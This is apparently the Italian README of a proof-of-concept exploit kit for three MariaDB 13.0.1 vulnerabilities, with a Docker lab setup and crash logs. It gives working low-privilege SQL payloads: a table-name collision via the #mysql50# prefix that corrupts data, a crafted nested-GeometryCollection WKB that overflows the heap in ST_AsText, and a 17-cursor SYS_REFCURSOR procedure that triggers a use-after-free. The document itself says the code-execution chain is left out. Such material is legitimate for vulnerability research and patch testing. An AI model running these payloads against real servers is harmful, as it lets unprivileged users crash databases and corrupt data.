
PoC per CVE-2026-92262, CVE-2026-85746, CVE-2026-85748 contro MariaDB 13.0.1
SQL a bassi privilegi sulla normale porta del server. Nessun FILE, SUPER o caricamento di plugin.
Target: mariadb:13.0.1-rc (13.0.1-MariaDB-ubu2604). Corretto in 13.0.2 / 12.3.3 (anche 11.8.9, 11.4.13, 10.11.19, 10.6.28 per i primi due).
| CVE | CWE | CVSS 3.1 | Bug | Prova su 13.0.1 |
|---|---|---|---|---|
| CVE-2026-92262 | CWE-706 | 9.9 | codifica #mysql50# / alias della table-cache | INSERT in `#mysql50#t` è visibile in t; i file finiscono come a-b.frm |
| CVE-2026-85746 | CWE-787 | 9.9 | scrittura OOB di ST_AsText su GeometryCollection annidata | free(): invalid next size (normal) poi SIGABRT |
| CVE-2026-85748 | CWE-416 | 9.9 | UAF da realloc dell'array di cursori SYS_REFCURSOR | SIGSEGV in Materialized_cursor::open |
CVE-2026-85748 esiste solo su 12.3.1–12.3.2 e 13.0.1. Gli altri due coprono anche 10.6.1+.
PoC di crash e corruzione dei dati. La catena HackerOne divulgata (report 3856148) trasforma 85748 + una lettura eccessiva dall'heap di ST_Area in execlp COOP. Quel payload non è presente in questo albero.
cd server && bash start.sh
pip install -r requirements.txt
python client/exploit.py --cve 92262
python client/exploit.py --cve 85746 # kills mariadbd
# restart the container
python client/exploit.py --cve 85748 # kills mariadbd
--host / --port / --user / --password / --database sovrascrivono i valori predefiniti di compose (localhost:3306, lowpriv / lowpriv, appdb). L'SQL in client/sql/ contiene gli stessi payload per una CLI mariadb.
DELIMITER è un meta-comando della CLI. client/exploit.py invia CREATE FUNCTION / CREATE PROCEDURE come singole istruzioni di protocollo.
server/docker-compose.yml
server/start.sh
client/exploit.py
client/sql/cve-2026-92262.sql
client/sql/cve-2026-85746.sql
client/sql/cve-2026-85748.sql
docker-compose.yml scarica mariadb:13.0.1-rc e crea il database appdb insieme all'utente lowpriv / lowpriv con ALL solo su appdb. Password fittizie da laboratorio, non segreti di produzione.
services:
mariadb:
image: mariadb:13.0.1-rc
environment:
MARIADB_ROOT_PASSWORD: root
MARIADB_DATABASE: appdb
MARIADB_USER: lowpriv
MARIADB_PASSWORD: lowpriv
ports:
- "3306:3306"
command: ["--core-file"]
Riavvia dopo ogni PoC che causa un crash:
docker start mariadb-vuln
# or
docker compose restart
#mysql50#Advisory: GHSA-65jj-h265-3m7h / MDEV-40362
MariaDB codifica i nomi delle tabelle su disco (a-b → [email protected]). Il prefisso storico #mysql50# salta questa codifica, così i nomi di MySQL 5.0 restano apribili. Il prefisso è anche una collisione di chiavi nella cache delle tabelle: `#mysql50#t` e t condividono una share / un handler.
CREATE TABLE t (id INT, c1 BINARY(10)) ENGINE=MEMORY;
INSERT INTO t VALUES (1, REPEAT(0x41, 10));
CREATE TABLE `#mysql50#t` (id INT, c1 BINARY(1)) ENGINE=MEMORY;
INSERT INTO `#mysql50#t` VALUES (2, 0x42);
SELECT id, HEX(c1) FROM t ORDER BY id;
CREATE TABLE `#mysql50#a-b` (id INT) ENGINE=MyISAM;
BEFORE id=1 hex=41414141414141414141
MYSQL50 id=1 hex=41
MYSQL50 id=2 hex=42
AFTER_T id=1 hex=41414141414141414141
AFTER_T id=2 hex=42000000000000000000
La riga 2 è stata inserita solo in `#mysql50#t`. SELECT su t la restituisce, troncata/paddata sulle due larghezze BINARY. I due nomi sono un'unica tabella in cache.
Datadir dopo la creazione MyISAM:
a-b.frm
a-b.MYD
a-b.MYI
[email protected] è assente. La codifica è stata saltata.
../ nel nome non codificato viene rifiutato (ERROR 1103 Incorrect table name). La confusione e la creazione non codificata sono sufficienti per la corruzione e per scrivere nomi di file inattesi sotto il datadir.
ST_AsTextAdvisory: MDEV-40329
Gis_geometry_collection serializza il WKT in modo ricorsivo. Il Binary_string di output è dimensionato in base a una stima superficiale della lunghezza. I wrapper GEOMETRYCOLLECTION annidati aggiungono testo GEOMETRYCOLLECTION(...) che l'allocatore non ha riservato. qs_append scrive oltre Alloced_length. Le build di debug riscontrano:
Binary_string::qs_append(char): Assertion `str_length + (uint32)(1) <= Alloced_length' failed
Interruzione di glibc in free() nella build di release.
| Byte | Significato |
|---|---|
00 00 00 00 | SRID 0 |
01 07 00 00 00 01 00 00 00 × 200 | LE, tipo 7 GeometryCollection, 1 figlio |
01 01 00 00 00 + 16 byte a zero | LE Point(0,0) |
SELECT ST_AsText(CONCAT(
UNHEX('00000000'),
REPEAT(UNHEX('010700000001000000'), 200),
UNHEX('010100000000000000000000000000000000000000')
)) AS oops;
Un ST_AsText(ST_GeomFromText('POINT(1 2)')) superficiale restituisce POINT(1 2) sulla stessa sessione per prima.
free(): invalid next size (normal)
mariadbd got signal 6 ;
Client: timeout / connessione persa. SELECT 1 dopo questo fallisce. I metadati dell'heap sono già stati corrotti (invalid next size). SIGABRT è l'allocatore che lo rileva, non un errore SQL pulito.
SYS_REFCURSORAdvisory: MDEV-40639 / HackerOne 3856148
thd->statement_cursors è un Dynamic_array<sp_cursor_array_element> con un default di 16 slot. Ogni SYS_REFCURSOR è memorizzato inline. L'OPEN di un 17° cursore rialloca il buffer. Un OPEN c FOR SELECT trigger_realloc() esterno mantiene un puntatore raw nel vecchio buffer. Quando la funzione interna ritorna, Materialized_cursor::open / sp_cursor::open dereferenziano lo slot obsoleto.
Funzione interna: dichiarare e OPEN 17 SYS_REFCURSOR, poi RETURN 1.
Procedura esterna:
CREATE PROCEDURE trigger_uaf()
BEGIN
DECLARE c SYS_REFCURSOR;
OPEN c FOR SELECT trigger_realloc();
END;
SET SESSION max_open_cursors = 100;
CALL trigger_uaf();
Richiede CREATE ROUTINE sul database corrente (la compose ALL ON appdb.* lo include). La forma a blocco anonimo nel writeup di HackerOne è lo stesso realloc senza una routine memorizzata; il separatore di delimitatore della CLI spezzerà BEGIN NOT ATOMIC a meno che l'intero blocco non sia un'unica istruzione di protocollo.
CALL_EXIT:137
container exit=139
mariadbd got signal 11 ;
mariadbd(Materialized_cursor::open+0x50)
mariadbd(mysql_open_cursor+0x374)
mariadbd(sp_cursor::open+0x32)
mariadbd(sp_instr_copen_by_ref::exec_core+0x2bd)
...
Query: SELECT trigger_realloc()
Writing a core file...
Exit 139 è SIGSEGV. L'istruzione che causa il crash è il SELECT trigger_realloc() interno ancora in esecuzione sotto il cursore esterno OPEN.
92262 è silenzioso. 85746 e 85748 mandano ciascuno in crash mariadbd.
bash server/start.shpython client/exploit.py --cve 92262python client/exploit.py --cve 85746python client/exploit.py --cve 85748Confermare 85746/85748 sul server con docker logs: invalid next size + segnale 6, poi successivamente segnale 11 e il frame Materialized_cursor::open.